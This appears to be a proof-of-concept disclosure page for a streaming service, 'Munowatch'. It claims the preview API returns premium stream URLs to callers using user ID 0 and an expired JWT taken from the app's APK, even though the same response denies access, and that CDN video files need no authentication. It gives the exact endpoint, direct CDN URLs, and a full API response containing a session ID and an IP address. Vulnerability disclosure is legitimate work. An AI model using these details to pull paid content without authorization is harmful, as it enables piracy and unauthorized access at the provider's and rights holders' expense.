SECURITY PoC — NO AUTH
CDN BYPASS DEMO — Munowatch CDN serves this video with no token, no auth header required
CDN bypass demonstration:
The API returned
The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
The API returned
playingUrl for Spring Fever 21
with issubscriber: false and user_access: deny.The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
Spring Fever 21
Follows Yun Bom, who, after enduring emotional turmoil in Seoul, moves to the small town of Sinsu to begin anew as an exchange teacher. Initially detached and cold toward everything, she gradually opens her heart after meeting Seon Jae Gyu
API Response Evidence — Vulnerability Proof
Endpoint called
GET /api/preview/v2/62524/0
User ID used
0 (no user / not logged in)
JWT used
Expired Feb 2024 (extracted from APK)
issubscriber
false
user_access
deny
paid_for
YES (premium content)
substatus
EXPIRED
serverhost
69
video_name
21-Spring Fever-Vj Ivo.mp4
playingUrl returned
YES — URL in response
API playingUrl value
https://munowatch.co/clips/ELI.mp4
CDN demo stream
https://nkuba.b-cdn.net/cleve48/cfr/In.The.Grey.mp4
Finding: The server sets user_access=deny and
issubscriber=false but still returns playingUrl in the
same response. Subscription is enforced client-side only — any caller with
the expired APK JWT can obtain stream URLs without a subscription.
Munowatch CDN (b-cdn.net) serves content with no auth required
(direct HTTP Range requests succeed with HTTP 206).
{
"id": 62524,
"video_title": "Spring Fever 21",
"description": "Follows Yun Bom, who, after enduring emotional turmoil in Seoul, moves to the small town of Sinsu to begin anew as an exchange teacher. Initially detached and cold toward everything, she gradually opens her heart after meeting Seon Jae Gyu",
"video_name": "21-Spring Fever-Vj Ivo.mp4",
"filehistory": "",
"openload": "0",
"embedurl": "",
"serverhost": "69",
"allow_openload": "0",
"full_video_name": "",
"duration": "30h 04m",
"thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/aQQM5DJi365832.jpg",
"tfilehistory": "",
"category_id": 5,
"language_id": 1,
"recording_date": "2026-03-12",
"age_id": "18 +",
"location": 1,
"tab_category_id": 5,
"series_code": "12364",
"access": "1",
"paid_for": "1",
"new_movie": "1",
"priority": "No",
"size": "194.4 MB",
"create_date": "2026-03-12 13:03:25",
"schedule_date": "12.03.2026 01:12:01 PM",
"user_id": 1118356,
"vj_id": 27,
"video_status_id": 0,
"network_id": "45.221.8.55",
"user_access": "deny",
"notification": "",
"secduration": "108240.000000",
"issubscriber": false,
"genre": "Series",
"vjname": "Vj Ivo",
"trailer_playing_url": "",
"episodes": 24,
"episode_state": "NEXT",
"nxt_eps": "EPS 22",
"nxt_eps_id": 62525,
"nxt_eps_title": "Spring Fever 22",
"nxt_ldur": 0,
"nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
"playingUrl": "https://munowatch.co/clips/ELI.mp4",
"ldur": 0,
"session_id": "cb99afb5b31411a57538a97393de0e2e",
"device": "web",
"lang_name": "English to Luganda",
"vjrelease": "3 months ago",
"mstatus": false,
"kstatus": "",
"substatus": "EXPIRED"
}